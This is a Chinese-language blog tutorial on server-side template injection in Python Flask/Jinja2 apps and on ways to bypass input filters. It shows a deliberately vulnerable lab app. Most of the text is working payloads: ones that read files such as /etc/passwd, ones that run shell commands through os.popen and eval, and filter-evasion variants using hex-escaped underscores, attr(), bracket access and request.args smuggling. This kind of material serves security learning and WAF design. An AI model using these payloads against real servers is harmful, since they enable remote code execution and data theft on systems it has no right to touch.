SSTI Bypass 學習 (Python3&jinja2

SSTI Bypass 學習 (Python3&jinja2

前言

  • 在說Bypass之前咱們先說一下SSTI的基本功
  • ssti服務端模板注入,ssti主要爲python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函數時,由於代碼不規範或信任了用戶輸入而導致了服務端模板注入,模板渲染其實並沒有漏洞,主要是程序員對代碼不規範不嚴謹造成了模板注入漏洞,造成模板可控。
  • 利用流程

獲取基本類->獲取基本類的子類->在子類中找到關於命令執行和文件讀寫的模塊

  • 所涉及到的關鍵字
__class__ 返回調用的參數類型
__bases__ 返回類型列表
__mro__ 此屬性是在方法解析期間尋找基類時考慮的類元組
__subclasses__() 返回object的子類
__globals__ 函數會以字典類型返回當前位置的全部全局變量 與 func_globals 等價

.....

  • 知道關鍵字後,對我們設置WAF是很有幫助的

SSTI payload

  • 我們再來看一下常見的Payload

  • 文件讀取實例


# python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}

# python2

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

  • 命令執行實例

# Python3

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

# Python2

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

  • 經常會有paylaod打不通的情況類所在的索引隨環境變換而不一樣,下標也應隨之改變,所以打不通可以再找一個能利用的類

  • 所以爲了解決這個問題,直接用for循環來遍歷所得的基類等,構建payload是一個不錯的方法

  • 通用命令執行


{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
    	 {% if 'eval' in b.keys() %}
      	 {{ b['eval']('__import__("os").popen("id").read()') }}
   	   {% endif %}
  	{% endif %}
   {% endfor %}
  {% endif %}
{% endfor %}

Bypass

過濾{{或者}}

  • 可以使用{%繞過

{%%}中間可以執行if語句,利用這一點可以進行類似盲注的操作或者外帶代碼執行結果

過濾_

  • 可以使用編碼繞過
__class__ => \x5f\x5fclass\x5f\x5f

過濾.

  • .在payload中是很重要的,但是我們依舊可以採用
    attr()[]繞過

  • 實驗代碼:

# app.py
from flask import Flask, request,render_template_string,render_template


app = Flask(__name__)

@app.route("/",methods=['GET','POST'])
def page():

    name = request.values.get('name')
    return render_template_string(name)
if __name__ == "__main__":
    app.run()
  • 運行之後,往路由/傳入變量name即可觸發SSTI

  • 先來看正常傳入payload

http://127.0.0.1:5000/?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`

  • 使用attr()
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

-使用[]

http://127.0.0.1:5000/?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

利用request

  • 如果對我們特定的參數進行了嚴格的過濾,我們就可以使用request來進行繞過,request可以獲得請求的相關信息,我們拿過濾__class__,G可以用request.args.t1且以GET方式提交t1=__class__ 來替換被過濾的__class__
  • 形式1
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__
  • 形式2

{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__

  • 同理也可以使用POST,只需要需要將args換成form即可

另外一種思路


str1 = '__class__'
res = ''
for i in str1:
  res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])

END

心得

  • Bypass主要還是看思路,只要思路足夠風騷,各種奇思淫巧少不了
  • 同時也需要多多交流,讀讀別的大佬們的文章開拓自己的思路
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章